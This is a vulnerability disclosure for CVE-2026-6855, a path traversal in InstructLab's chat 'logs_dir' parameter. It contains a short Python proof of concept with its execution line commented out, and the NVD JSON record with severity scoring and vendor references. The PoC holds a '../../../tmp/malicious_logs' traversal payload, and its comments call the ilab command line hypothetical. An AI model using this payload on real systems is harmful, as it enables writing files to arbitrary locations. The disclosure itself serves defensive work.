CVE-2026-6855

# PoC for CVE-2026-6855: Path Traversal via logs_dir # This script demonstrates how a malicious logs_dir parameter can be used. import subprocess import sys def exploit_poc(target_path): # The malicious payload uses path traversal to escape the intended directory # For example, writing to /tmp/malicious/ traversal_payload = "../../../tmp/malicious_logs" # Simulate the command that triggers the vulnerable chat session handler # InstructLab command line usage (hypothetical based on description) cmd = ["ilab", "chat", "--logs-dir", traversal_payload] try: print(f"[*] Attempting to exploit with payload: {traversal_payload}") # subprocess.run(cmd, check=True) # Uncomment to run actual exploit print("[+] If vulnerable, directories/files may be created at: /tmp/malicious_logs") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit_poc("/tmp/poc")

{"cve": {"id": "CVE-2026-6855", "sourceIdentifier": "[email protected]", "published": "2026-04-22T13:16:22.410", "lastModified": "2026-05-20T13:20:33.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in InstructLab. A local attacker could exploit a path traversal vulnerability in the chat session handler by manipulating the `logs_dir` parameter. This allows the attacker to create new directories and write files to arbitrary locations on the system, potentially leading to unauthorized data modification or disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:instructlab:-:*:*:*:*:*:*:*", "matchCriteriaId": "F16DE2EF-B42B-4D18-B9E4-3114EBBD65B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux_ai:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "531FF57A-65AE-482C-9A43-D1F2ECAD6ED0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6855", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460013", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}